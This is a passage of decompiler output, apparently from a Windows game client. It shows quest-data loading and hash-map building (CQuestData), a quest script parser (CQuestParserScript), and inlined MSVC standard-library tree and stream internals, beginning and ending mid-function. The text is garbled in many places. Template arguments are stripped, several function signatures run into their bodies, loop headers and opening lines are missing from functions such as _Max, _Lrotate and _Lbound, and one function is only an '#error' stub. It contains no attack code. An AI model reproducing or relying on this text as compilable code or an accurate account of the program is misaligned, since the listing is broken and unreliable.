while ( 1 ) { v32 = *(_DWORD *)(v32 + 4); if ( *(_WORD *)(v32 + 8) <= v27 ) break; if ( v32 == *(_DWORD *)&v3->_Vec._Myfirst[v31].baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] ) goto LABEL_32; } if ( *(_WORD *)(v32 + 8) >= v27 ) { v35 = result; *(_DWORD *)&result->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v32; result->second = 0; return v35; } v32 = *(_DWORD *)v32; } LABEL_32: v33 = std::list_std::allocator>>::_Buynode( &v3->_List, (std::_List_nod,std::allocator > >::_Node *)v32, *(std::_List_nod,std::allocator > >::_Node **)(v32 + 4), v26); std::list_std::allocator>>::_Incsize( &v3->_List, 1u); *(_DWORD *)(v32 + 4) = v33; v33->_Prev->_Next = v33; v34 = *(_DWORD *)(v32 + 4); if ( v32 == *(_DWORD *)&v3->_Vec._Myfirst[v31].baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] ) { do { *(_DWORD *)&v3->_Vec._Myfirst[v31].baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v34; if ( !_Vala ) break; --_Vala; v31 = _Vala; } while ( v32 == *(_DWORD *)&v3->_Vec._Myfirst[_Vala].baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] ); } v35 = result; *(_DWORD *)&result->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v34; result->second = 1; return v35; } //----- (0056F650) -------------------------------------------------------- void __thiscall CQuestData::CQuestData(CQuestData *this, CDataReader *pQuestDialog) { CQuestData *v2; // esi@1 v2 = this; this->m_pQuestDialog = pQuestDialog; stdext::_Hash>_std::allocator>_1>>::_Hash>_std::allocator>_1>>( (stdext::_Hash >,std::allocator >,1> > *)&this->m_hashmap_QuestData, (stdext::hash_compare > *)&pQuestDialog, (std::allocator > *)&pQuestDialog); stdext::_Hash>_std::allocator>_1>>::_Hash>_std::allocator>_1>>( &v2->m_mhmap_QuestDataByMobID.baseclass_0, (stdext::hash_compare > *)&pQuestDialog, (std::allocator > *)&pQuestDialog); v2->m_pBF = 0; v2->m_pDataHead = 0; v2->m_ppQuestDataArray = 0; v2->m_ReadError = 1; v2->m_bReadonly = 1; v2->m_pNULLSTR = NULLSTR; } //----- (0056F6D0) -------------------------------------------------------- #error "56F80E: positive sp value has been found (funcsize=117)" //----- (0056F820) -------------------------------------------------------- void __thiscall CQuestData::QuestData_HashDataIn(CQuestData *this) { CQuestData *v1; // ebx@1 QUEST_DATA_HEAD *v2; // eax@1 unsigned __int16 v3; // ax@2 int v4; // esi@4 unsigned int v5; // ebp@4 __int16 v6; // cx@5 int v7; // esi@5 int v8; // eax@6 signed __int16 v9; // ax@8 int v10; // esi@10 int v11; // ecx@14 std::list,std::allocator > >::iterator _Val; // [sp+10h] [bp-38h]@4 std::list,std::allocator > >::iterator result; // [sp+18h] [bp-30h]@5 unsigned int NumOfQuest; // [sp+1Ch] [bp-2Ch]@4 __int16 v15; // [sp+20h] [bp-28h]@5 QUEST_DATA *v16; // [sp+24h] [bp-24h]@5 __int16 v17; // [sp+28h] [bp-20h]@10 int v18; // [sp+2Ch] [bp-1Ch]@10 __int16 v19; // [sp+30h] [bp-18h]@14 int v20; // [sp+34h] [bp-14h]@14 char v21; // [sp+38h] [bp-10h]@10 char v22; // [sp+40h] [bp-8h]@14 v1 = this; v2 = this->m_pDataHead; if ( v2 ) v3 = v2->NumOfQuest; else v3 = 0; v4 = v3; NumOfQuest = v3; std::list_std::allocator>>::clear(&this->m_hashmap_QuestData.baseclass_0._List); _Val = (std::list,std::allocator > >::iterator)v1->m_hashmap_QuestData.baseclass_0._List._Myhead; std::vector_std::allocator>>::iterator_std::allocator_std::allocator>>::iterator>>::_Assign_n( &v1->m_hashmap_QuestData.baseclass_0._Vec, 9u, &_Val); v1->m_hashmap_QuestData.baseclass_0._Mask = 1; v1->m_hashmap_QuestData.baseclass_0._Maxidx = 1; std::list_std::allocator>>::clear(&v1->m_mhmap_QuestDataByMobID.baseclass_0._List); _Val = (std::list,std::allocator > >::iterator)v1->m_mhmap_QuestDataByMobID.baseclass_0._List._Myhead; std::vector_std::allocator>>::iterator_std::allocator_std::allocator>>::iterator>>::_Assign_n( &v1->m_mhmap_QuestDataByMobID.baseclass_0._Vec, 9u, &_Val); v1->m_mhmap_QuestDataByMobID.baseclass_0._Mask = 1; v1->m_mhmap_QuestDataByMobID.baseclass_0._Maxidx = 1; v5 = 0; if ( v4 ) { do { v6 = v1->m_ppQuestDataArray[v5]->ID; v16 = v1->m_ppQuestDataArray[v5]; v15 = v6; stdext::_Hash>_std::allocator>_0>>::insert( &v1->m_hashmap_QuestData.baseclass_0, (std::pair,std::allocator > >::iterator,bool> *)&_Val, (std::pair *)&v15); v7 = (int)v1->m_ppQuestDataArray[v5]; _Val = (std::list,std::allocator > >::iterator)*(_WORD *)(v7 + 4); stdext::_Hash>_std::allocator>_0>>::lower_bound( &v1->m_hashmap_QuestData.baseclass_0, &result, (const unsigned __int16 *)&_Val); if ( (std::_List_nod,std::allocator > >::_Node *)result != v1->m_hashmap_QuestData.baseclass_0._List._Myhead && (v8 = *(_DWORD *)(*(_DWORD *)&result + 12)) != 0 && *(_BYTE *)(v8 + 19) ) v9 = *(_WORD *)(v8 + 20); else v9 = -1; v17 = v9; v18 = v7; stdext::_Hash>_std::allocator>_1>>::insert( &v1->m_mhmap_QuestDataByMobID.baseclass_0, (std::pair,std::allocator > >::iterator,bool> *)&v21, (std::pair *)&v17); v10 = v7 + 78; _Val = (std::list,std::allocator > >::iterator)5; do { if ( *(_BYTE *)(v10 - 4) && (!*(_BYTE *)v10 || *(_BYTE *)v10 == 3) ) { v11 = (int)v1->m_ppQuestDataArray[v5]; v19 = *(_WORD *)(v10 - 2); v20 = v11; stdext::_Hash>_std::allocator>_1>>::insert( &v1->m_mhmap_QuestDataByMobID.baseclass_0, (std::pair,std::allocator > >::iterator,bool> *)&v22, (std::pair *)&v19); } v10 += 6; --*(_DWORD *)&_Val; } while ( _Val ); ++v5; } while ( v5 < NumOfQuest ); } } //----- (0056F990) -------------------------------------------------------- void __thiscall CQuestData::_CQuestData(CQuestData *this) { CQuestData *v1; // esi@1 int v2; // esi@5 v1 = this; CQuestData::ClearBF(this); if ( v1->m_mhmap_QuestDataByMobID.baseclass_0._Vec._Myfirst ) operator delete(v1->m_mhmap_QuestDataByMobID.baseclass_0._Vec._Myfirst); v1->m_mhmap_QuestDataByMobID.baseclass_0._Vec._Myfirst = 0; v1->m_mhmap_QuestDataByMobID.baseclass_0._Vec._Mylast = 0; v1->m_mhmap_QuestDataByMobID.baseclass_0._Vec._Myend = 0; std::list_std::allocator>>::clear(&v1->m_mhmap_QuestDataByMobID.baseclass_0._List); operator delete(v1->m_mhmap_QuestDataByMobID.baseclass_0._List._Myhead); v1->m_mhmap_QuestDataByMobID.baseclass_0._List._Myhead = 0; if ( v1->m_hashmap_QuestData.baseclass_0._Vec._Myfirst ) operator delete(v1->m_hashmap_QuestData.baseclass_0._Vec._Myfirst); v1->m_hashmap_QuestData.baseclass_0._Vec._Myfirst = 0; v1->m_hashmap_QuestData.baseclass_0._Vec._Mylast = 0; v1->m_hashmap_QuestData.baseclass_0._Vec._Myend = 0; v2 = (int)&v1->m_hashmap_QuestData.baseclass_0._List; std::list_std::allocator>>::clear((std::list,std::allocator > > *)v2); operator delete(*(void **)(v2 + 4)); *(_DWORD *)(v2 + 4) = 0; } //----- (0056FA40) -------------------------------------------------------- int __thiscall CQuestData::ReadModeRead(CQuestData *this, const char *pFN) { CQuestData *v2; // esi@1 int result; // eax@1 int v4; // ebx@1 int v5; // eax@3 int v6; // edi@3 void *v7; // eax@3 unsigned int v8; // edi@7 void *v9; // eax@7 void *v10; // eax@10 QUEST_DATA_HEAD *v11; // ecx@10 unsigned int v12; // edx@10 int v13; // edi@10 int i; // ecx@10 char *v15; // eax@13 unsigned int v16; // edx@13 int v17; // ecx@14 int v18; // edi@14 v2 = this; CQuestData::ClearBF(this); result = (int)fopen(pFN, "rb"); v4 = result; if ( !result ) { v2->m_ReadError = 1; return result; } v5 = fileno((_iobuf *)result); v6 = filelength(v5); v7 = operator new(4u); v2->m_pDataHead = (QUEST_DATA_HEAD *)v7; if ( fread(v7, 4u, 1u, (_iobuf *)v4) != 1 ) { v2->m_ReadError = 2; ERROR_READ: CQuestData::ClearBF(v2); fclose((_iobuf *)v4); return 0; } if ( v2->m_pDataHead->VersionNo != 4 ) { v2->m_ReadError = 3; goto ERROR_READ; } v8 = v6 - 4; v9 = operator new__(v8); v2->m_pBF = (char *)v9; if ( fread(v9, v8, 1u, (_iobuf *)v4) != 1 ) { v2->m_ReadError = 4; goto ERROR_READ; } v10 = operator new__(4 * v2->m_pDataHead->NumOfQuest); v11 = v2->m_pDataHead; v2->m_ppQuestDataArray = (QUEST_DATA **)v10; v12 = 4 * v11->NumOfQuest; memset(v10, 0, 4 * (v12 >> 2)); v13 = (int)((char *)v10 + 4 * (v12 >> 2)); for ( i = v12 & 3; i; --i ) *(_BYTE *)v13++ = 0; v15 = v2->m_pBF; v16 = 0; if ( v2->m_pDataHead->NumOfQuest ) { do { v2->m_ppQuestDataArray[v16] = (QUEST_DATA *)v15; *((_DWORD *)v15 + 150) = v15 + 616; v17 = *((_WORD *)v15 + 296); *((_DWORD *)v15 + 151) = &v15[v17 + 616]; v18 = *((_WORD *)v15 + 298); *((_DWORD *)v15 + 152) = &v15[v17 + 616] + v18; ++v16; v15 += v17 + v18 + *((_WORD *)v15 + 297) + 616; } while ( v16 < v2->m_pDataHead->NumOfQuest ); } fclose((_iobuf *)v4); v2->m_ReadError = 0; CQuestData::QuestData_HashDataIn(v2); return 1; } //----- (0056FBB0) -------------------------------------------------------- int __thiscall CQuestData::ReadModeEdit(CQuestData *this, const char *pFN) { CQuestData *v2; // ebx@1 int result; // eax@1 int v4; // ebp@1 int v5; // eax@3 void *v6; // eax@3 QUEST_DATA_HEAD *v7; // eax@6 void *v8; // eax@8 QUEST_DATA_HEAD *v9; // edx@8 void *v10; // esi@9 int v11; // edi@9 void *v12; // eax@10 unsigned int v13; // ST14_4@10 void *v14; // eax@10 unsigned int v15; // ST04_4@10 void *v16; // ST00_4@10 int pFNa; // [sp+Ch] [bp+4h]@8 v2 = this; CQuestData::ClearBF(this); result = (int)fopen(pFN, "rb"); v4 = result; if ( !result ) { v2->m_ReadError = 1; return result; } v5 = fileno((_iobuf *)result); filelength(v5); v6 = operator new(4u); v2->m_pDataHead = (QUEST_DATA_HEAD *)v6; if ( fread(v6, 4u, 1u, (_iobuf *)v4) != 1 ) { v2->m_ReadError = 2; ERROR_READ_0: CQuestData::ClearBF(v2); fclose((_iobuf *)v4); return 0; } v7 = v2->m_pDataHead; if ( v7->VersionNo != 4 ) { v2->m_ReadError = 3; goto ERROR_READ_0; } v8 = operator new__(4 * v7->NumOfQuest); v9 = v2->m_pDataHead; v2->m_ppQuestDataArray = (QUEST_DATA **)v8; v2->m_ReadError = 4; pFNa = 0; if ( v9->NumOfQuest ) { do { v10 = operator new(0x268u); memset(v10, 0, 0x268u); v11 = pFNa; v2->m_ppQuestDataArray[pFNa] = (QUEST_DATA *)v10; if ( fread(v10, 0x268u, 1u, (_iobuf *)v4) != 1 ) goto ERROR_READ_0; v12 = operator new__(*((_WORD *)v10 + 296)); v13 = *((_WORD *)v10 + 298); *((_DWORD *)v10 + 150) = v12; *((_DWORD *)v10 + 151) = operator new__(v13); v14 = operator new__(*((_WORD *)v10 + 297)); v15 = *((_WORD *)v10 + 296); v16 = (void *)*((_DWORD *)v10 + 150); *((_DWORD *)v10 + 152) = v14; if ( fread(v16, v15, 1u, (_iobuf *)v4) != 1 ) goto ERROR_READ_0; if ( fread(*((void **)v10 + 151), *((_WORD *)v10 + 298), 1u, (_iobuf *)v4) != 1 || fread(*((void **)v10 + 152), *((_WORD *)v10 + 297), 1u, (_iobuf *)v4) != 1 ) goto ERROR_READ_0; *(_DWORD *)v10 = *((_WORD *)v10 + 296) + *((_WORD *)v10 + 297) + *((_WORD *)v10 + 298) + 616; ++pFNa; } while ( v11 + 1 < (unsigned int)v2->m_pDataHead->NumOfQuest ); } fclose((_iobuf *)v4); v2->m_ReadError = 0; CQuestData::QuestData_HashDataIn(v2); return 1; } //----- (0056FDB0) -------------------------------------------------------- int __thiscall CQuestData::Read(CQuestData *this, const char *pFN, int bReadonly) { int result; // eax@2 this->m_bReadonly = bReadonly; if ( bReadonly ) result = CQuestData::ReadModeRead(this, pFN); else result = CQuestData::ReadModeEdit(this, pFN); return result; } //----- (0056FDE0) -------------------------------------------------------- void __thiscall CQuestParserScript::CQuestParserScript(CQuestParserScript *this) { CQuestParserScript *v1; // esi@1 CToken *v2; // edi@1 v1 = this; v2 = &this->m_Token; this->vfptr = (CQuestParserScriptVtbl *)&CQuestParserScript::_vftable_; CToken::CToken(&this->m_Token); v1->m_ppQSC = gpQSC; v1->m_ppQSV = gpQSV; v1->m_ppQSAE = gpQSAE; v1->m_ppQST = gpQST; v1->m_ppQSIL = gpQSIL; CToken::SetSeprator(v2, " ,\t\r\n"); } // 5E8658: using guessed type int (__thiscall *CQuestParserScript___vftable_)(CQuestParserScript *this, int pCmd); //----- (0056FE60) -------------------------------------------------------- int __thiscall CQuestParserScript::IsDigitStr(CQuestParserScript *this, const char *pStr) { unsigned int *v2; // esi@1 char v3; // al@3 v2 = (unsigned int *)pStr; if ( pStr ) { while ( _ismbcdigit(*(_BYTE *)v2) ) { v3 = *((_BYTE *)v2 + 1); v2 = (unsigned int *)((char *)v2 + 1); if ( !v3 ) return 1; } } return 0; } //----- (0056FEA0) -------------------------------------------------------- const char *__thiscall CQuestParserScript::MarkGet(CQuestParserScript *this, const char *pMarkName) { CQuestParserScript *v2; // edi@1 int v3; // esi@1 const char *v4; // ebx@2 const char *result; // eax@5 v2 = this; v3 = 0; if ( this->m_NumOfMark <= 0 ) { LABEL_5: result = 0; } else { v4 = (const char *)this->m_Mark; while ( _mbsicmp(v4, pMarkName) ) { ++v3; v4 += 20; if ( v3 >= v2->m_NumOfMark ) goto LABEL_5; } result = v2->m_Mark[v3].pMarkPoint; } return result; } //----- (0056FEF0) -------------------------------------------------------- int __thiscall CQuestParserScript::MarkGo(CQuestParserScript *this, const char *pMarkName) { CQuestParserScript *v2; // esi@1 int result; // eax@1 v2 = this; result = (int)CQuestParserScript::MarkGet(this, pMarkName); if ( result ) result = CToken::RestoreTokenPositon(&v2->m_Token, (const char *)result); return result; } //----- (0056FF20) -------------------------------------------------------- void __thiscall CQuestParserScript::ParserClose(CQuestParserScript *this) { CToken::Close(&this->m_Token); } //----- (0056FF30) -------------------------------------------------------- int __thiscall CQuestParserScript::GetScriptVariableValue(CQuestParserScript *this, unsigned int *pValue, unsigned __int16 nQuestID, QUEST_SCRIPT_VARIABLE VarID, unsigned int Value) { int result; // eax@2 PLAYER_QUEST_INFO *v6; // eax@3 switch ( VarID ) { case 0: case 1: case 2: case 3: case 4: case 5: *pValue = this->m_Var[VarID]; result = 1; break; case 6: v6 = CQuest::GetQuestInfo(this->m_pQuest, this->m_QuestID); if ( !v6 ) goto LABEL_6; *pValue = v6->Data.ProgressStep; goto $L86172; case 7: $L86172: *pValue = Value; result = 1; break; default: LABEL_6: result = 0; break; } return result; } //----- (0056FFB0) -------------------------------------------------------- std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::_Max(std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator,std::allocator >,int,std::less,std::allocator > >,std::allocator,std::allocator >,int,std::less,std::allocator > >,std::allocator_Right; !i->_Isnil; i = i->_Right ) result = i; return result; } //----- (0056FFD0) -------------------------------------------------------- std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::_Min(std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator,std::allocator >,int,std::less,std::allocator > >,std::allocator,std::allocator >,int,std::less,std::allocator > >,std::allocator_Left; if ( !_Pnode->_Left->_Isnil ) { do { result = v2; v2 = v2->_Left; } while ( !v2->_Isnil ); } return result; } //----- (0056FFF0) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::const_iterator::_Inc(std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st *this) { std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st v1; // eax@1 std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st v2; // edx@2 std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st j; // eax@3 std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st i; // eax@6 v1 = *this; if ( !*(_BYTE *)(*this + 45) ) { v2 = *(_DWORD *)(v1 + 8); if ( *(_BYTE *)(v2 + 45) ) { for ( i = *(_DWORD *)(v1 + 4); !*(_BYTE *)(i + 45); i = *(_DWORD *)(i + 4) ) { if ( *this != *(_DWORD *)(i + 8) ) break; *this = i; } *this = i; } else { for ( j = *(_DWORD *)v2; !*(_BYTE *)(j + 45); j = *(_DWORD *)j ) v2 = j; *this = v2; } } } //----- (00570050) -------------------------------------------------------- void __thiscall CQuestParserScript::_CQuestParserScript(CQuestParserScript *this) { CToken *v1; // esi@1 this->vfptr = (CQuestParserScriptVtbl *)&CQuestParserScript::_vftable_; v1 = &this->m_Token; CToken::Close(&this->m_Token); CToken::_CToken(v1); } // 5E8658: using guessed type int (__thiscall *CQuestParserScript___vftable_)(CQuestParserScript *this, int pCmd); //----- (005700B0) -------------------------------------------------------- int __thiscall CQuestParserScript::MarkAdd(CQuestParserScript *this, const char *pMarkName, const char *pMarkPoint) { CQuestParserScript *v3; // esi@1 signed int v4; // eax@2 int result; // eax@3 int v6; // eax@4 v3 = this; if ( CQuestParserScript::MarkGet(this, pMarkName) || (v4 = v3->m_NumOfMark, v4 >= 64) ) { result = 0; } else { v6 = (int)((char *)v3 + 4 * (5 * v4 + 15)); *(_DWORD *)v6 = 0; *(_DWORD *)(v6 + 4) = 0; *(_DWORD *)(v6 + 8) = 0; *(_DWORD *)(v6 + 12) = 0; _mbsnbcpy((char *)v3 + 20 * (v3->m_NumOfMark + 3), pMarkName, 0xFu); v3->m_Mark[v3->m_NumOfMark++].pMarkPoint = pMarkPoint; result = 1; } return result; } //----- (00570120) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::_Lrotate(std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st *this, std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator,std::allocator >,int,std::less,std::allocator > >,std::allocator,std::allocator >,int,std::less,std::allocator > >,std::allocator_Right; _Wherenode->_Right = v2->_Left; if ( !v2->_Left->_Isnil ) v2->_Left->_Parent = _Wherenode; v2->_Parent = _Wherenode->_Parent; v3 = *((_DWORD *)this + 1); if ( _Wherenode == *(std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator_Left = _Wherenode; _Wherenode->_Parent = v2; } else { v4 = _Wherenode->_Parent; if ( _Wherenode == v4->_Left ) { v4->_Left = v2; v2->_Left = _Wherenode; _Wherenode->_Parent = v2; } else { v4->_Right = v2; v2->_Left = _Wherenode; _Wherenode->_Parent = v2; } } } //----- (00570180) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::_Rrotate(std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st *this, std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator,std::allocator >,int,std::less,std::allocator > >,std::allocator,std::allocator >,int,std::less,std::allocator > >,std::allocator,std::allocator >,int,std::less,std::allocator > >,std::allocator_Left; _Wherenode->_Left = _Wherenode->_Left->_Right; v3 = v2->_Right; if ( !v3->_Isnil ) v3->_Parent = _Wherenode; v2->_Parent = _Wherenode->_Parent; v4 = *((_DWORD *)this + 1); if ( _Wherenode == *(std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator_Right = _Wherenode; _Wherenode->_Parent = v2; } else { v5 = _Wherenode->_Parent; if ( _Wherenode == v5->_Right ) { v5->_Right = v2; v2->_Right = _Wherenode; _Wherenode->_Parent = v2; } else { v5->_Left = v2; v2->_Right = _Wherenode; _Wherenode->_Parent = v2; } } } //----- (005701E0) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::const_iterator::_Dec(std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st *this) { std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st v1; // eax@1 std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st v2; // edx@3 std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st i; // eax@4 std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st v4; // eax@7 v1 = *this; if ( *(_BYTE *)(*this + 45) ) { *this = *(_DWORD *)(v1 + 8); } else { v2 = *(_DWORD *)v1; if ( *(_BYTE *)(*(_DWORD *)v1 + 45) ) { v4 = *(_DWORD *)(v1 + 4); if ( !*(_BYTE *)(v4 + 45) ) { do { if ( *this != *(_DWORD *)v4 ) break; *this = v4; v4 = *(_DWORD *)(v4 + 4); } while ( !*(_BYTE *)(v4 + 45) ); if ( !*(_BYTE *)(v4 + 45) ) *this = v4; } } else { for ( i = *(_DWORD *)(v2 + 8); !*(_BYTE *)(i + 45); i = *(_DWORD *)(i + 8) ) v2 = i; *this = v2; } } } //----- (00570240) -------------------------------------------------------- void __thiscall std::num_get>>::num_get>>(std::num_get > > *this, unsigned int _Refs) { std::num_get > > *v2; // esi@1 std::_Locinfo thisa; // [sp+4h] [bp-80h]@1 int v4; // [sp+80h] [bp-4h]@1 v2 = this; this->baseclass_0._Refs = _Refs; v4 = 0; this->baseclass_0.vfptr = (std::locale::facetVtbl *)&std::num_get>>::_vftable_; std::_Locinfo::_Locinfo(&thisa, "C"); *(_QWORD *)&v2->_Cvt._Hand = _Getcvt(); std::_Locinfo::__Locinfo(&thisa); } // 5E865C: using guessed type int (__thiscall *std__num_get_char_std__istreambuf_iterator_char_std__char_traits_char______vftable_)(void *p, char); //----- (005702C0) -------------------------------------------------------- int __thiscall std::basic_streambuf>::snextc(std::basic_streambuf > *this) { std::basic_streambuf > *v1; // esi@1 char **v2; // eax@1 int *v3; // edx@2 char **v4; // eax@3 int *v5; // ecx@3 int result; // eax@3 int **v7; // ecx@6 v1 = this; v2 = this->_IGnext; if ( *v2 && (v3 = this->_IGcount, *v2 < &(*v2)[*v3]) ) { --*v3; v4 = this->_IGnext; v5 = (int *)(*v4)++; result = *(_BYTE *)v5; } else { result = this->vfptr->uflow(this); } if ( result != -1 ) { v7 = (int **)v1->_IGnext; if ( *v7 && *v7 < (int *)((char *)*v7 + *v1->_IGcount) ) result = *(_BYTE *)*v7; else result = v1->vfptr->underflow(v1); } return result; } //----- (00570330) -------------------------------------------------------- bool __thiscall std::basic_istream>::_Ipfx(std::basic_istream > *this, bool _Noskip) { std::basic_istream > *v2; // esi@1 int v3; // ecx@1 int v4; // eax@1 int v5; // ecx@1 std::basic_ostream > *v6; // ecx@2 int v7; // edx@5 std::locale *v8; // eax@6 std::ctype *v9; // eax@6 int v10; // edi@6 std::ctype *v11; // ebx@6 unsigned int v12; // eax@7 int v13; // edi@10 int v14; // ecx@12 int *v15; // eax@12 int v16; // eax@14 int v17; // ecx@17 int v18; // eax@17 int v19; // edx@17 std::ios_base *v20; // ecx@17 int v21; // eax@17 int v22; // eax@22 bool result; // al@23 int v24; // eax@24 int v25; // [sp-Ch] [bp-24h]@1 std::_Lockit thisa; // [sp+0h] [bp-18h]@7 std::basic_istream > *v27; // [sp+4h] [bp-14h]@1 int *v28; // [sp+8h] [bp-10h]@1 int v29; // [sp+14h] [bp-4h]@6 v2 = this; v3 = *(_DWORD *)(*(_DWORD *)&this->gap0[0] + 4); v4 = *(_DWORD *)&v2->gap8[v3]; v5 = (int)((char *)v2 + v3); v28 = &v25; v27 = v2; if ( v4 ) goto LABEL_29; v6 = *(std::basic_ostream > **)(v5 + 44); if ( v6 ) std::basic_ostream>::flush(v6); if ( !_Noskip ) { v7 = *(_DWORD *)(*(_DWORD *)&v2->gap0[0] + 4); if ( *(_DWORD *)&v2->gap8[v7 + 8] & 1 ) { v8 = std::ios_base::getloc((std::ios_base *)((char *)v2 + v7), (std::locale *)&_Noskip); v29 = 0; v9 = std::use_facet>(v8); v10 = _Noskip; v11 = v9; v29 = -1; if ( _Noskip ) { std::_Lockit::_Lockit(&thisa, 0); v12 = *(_DWORD *)(v10 + 4); if ( v12 && v12 < 0xFFFFFFFF ) *(_DWORD *)(v10 + 4) = v12 - 1; v13 = ((*(_DWORD *)(v10 + 4) != 0) - 1) & v10; std::_Lockit::__Lockit(&thisa); if ( v13 ) (**(void (__thiscall ***)(_DWORD, _DWORD))v13)(v13, 1); } v14 = *(_DWORD *)&v2->gap8[*(_DWORD *)(*(_DWORD *)&v2->gap0[0] + 4) + 32]; v15 = (int *)**(_DWORD **)(v14 + 32); v29 = 1; if ( v15 && **(_DWORD **)(v14 + 32) < (unsigned int)(**(_DWORD **)(v14 + 32) + **(_DWORD **)(v14 + 48)) ) v16 = *(_BYTE *)v15; else v16 = (*(int (**)(void))(*(_DWORD *)v14 + 16))(); while ( v16 != -1 ) { if ( !(v11->_Ctype._Table[(unsigned __int8)v16] & 0x48) ) goto LABEL_22; v16 = std::basic_streambuf>::snextc(*(std::basic_streambuf > **)&v2->gap8[*(_DWORD *)(*(_DWORD *)&v2->gap0[0] + 4) + 32]); } v17 = *(_DWORD *)(*(_DWORD *)&v2->gap0[0] + 4); v18 = *(_DWORD *)&v2->gap8[v17]; v19 = *(_DWORD *)&v2->gap8[v17 + 32]; v20 = (std::ios_base *)((char *)v2 + v17); v21 = v18 | 1; if ( !v19 ) v21 |= 4u; std::ios_base::clear(v20, v21, 0); } } LABEL_22: v5 = (int)((char *)v2 + *(_DWORD *)(*(_DWORD *)&v2->gap0[0] + 4)); v22 = *(_DWORD *)(v5 + 8); v29 = -1; if ( v22 ) { LABEL_29: v24 = *(_DWORD *)(v5 + 8) | 2; if ( !*(_DWORD *)(v5 + 40) ) v24 = *(_DWORD *)(v5 + 8) | 6; std::ios_base::clear((std::ios_base *)v5, v24, 0); result = 0; } else { result = 1; } return result; } //----- (00570500) -------------------------------------------------------- std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::_Buynode(std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st *this) { std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator,std::allocator >,int,std::less,std::allocator > >,std::allocator_Left = 0; if ( result != (std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator_Parent = 0; if ( result != (std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator_Right = 0; result->_Color = 1; result->_Isnil = 0; return result; } //----- (00570540) -------------------------------------------------------- unsigned int __cdecl std::num_get>>::_Getcat(std::locale::facet **_Ppf) { void *v1; // eax@3 std::locale::facet *v2; // eax@4 if ( _Ppf && !*_Ppf ) { v1 = operator new(0x10u); if ( v1 ) std::num_get>>::num_get>>( (std::num_get > > *)v1, 0); else v2 = 0; *_Ppf = v2; } return 4; } //----- (005705B0) -------------------------------------------------------- void __thiscall std::basic_istream>::sentry::sentry(std::basic_istream >::sentry *this, std::basic_istream > *_Istr, bool _Noskip) { std::basic_istream >::sentry *v3; // esi@1 int v4; // eax@1 v3 = this; this->baseclass_0._Myistr = _Istr; v4 = *(_DWORD *)&_Istr->gap8[*(_DWORD *)(*(_DWORD *)&_Istr->gap0[0] + 4) + 32]; if ( v4 ) std::_Mutex::_Lock((std::_Mutex *)(v4 + 4)); v3->_Ok = std::basic_istream>::_Ipfx(v3->baseclass_0._Myistr, _Noskip); } //----- (00570620) -------------------------------------------------------- std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::_Lbound(std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st *this, std::basic_string,std::allocator > *_Keyval) { std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator,std::allocator >,int,std::less,std::allocator > >,std::allocator,std::allocator >,int,std::less,std::allocator > >,std::allocator,std::allocator >,int,std::less,std::allocator > >,std::allocator_Parent; _Wherenode = (std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator_Isnil ) { v4 = _Keyval->_Mysize; v5 = (char *)&_Keyval->_Bx; v14 = _Keyval->_Myres; for ( _Keyvala = (char *)&_Keyval->_Bx; ; v5 = _Keyvala ) { if ( v14 < 0x10 ) v6 = v5; else v6 = *(const char **)v5; v7 = v3->_Myval.first._Mysize; if ( !v7 ) goto LABEL_23; v8 = v3->_Myval.first._Mysize; if ( v7 >= v4 ) v8 = v4; v9 = (const char *)(v3->_Myval.first._Myres < 0x10 ? &v3->_Myval.first._Bx : *(_DWORD *)&v3->_Myval.first._Bx._Buf[0]); v10 = strncmp(v9, v6, v8); v12 = 0; v11 = v10 < 0; if ( !v10 ) { LABEL_23: if ( v7 < v4 ) goto LABEL_17; v12 = 0; v11 = (v7 != v4) 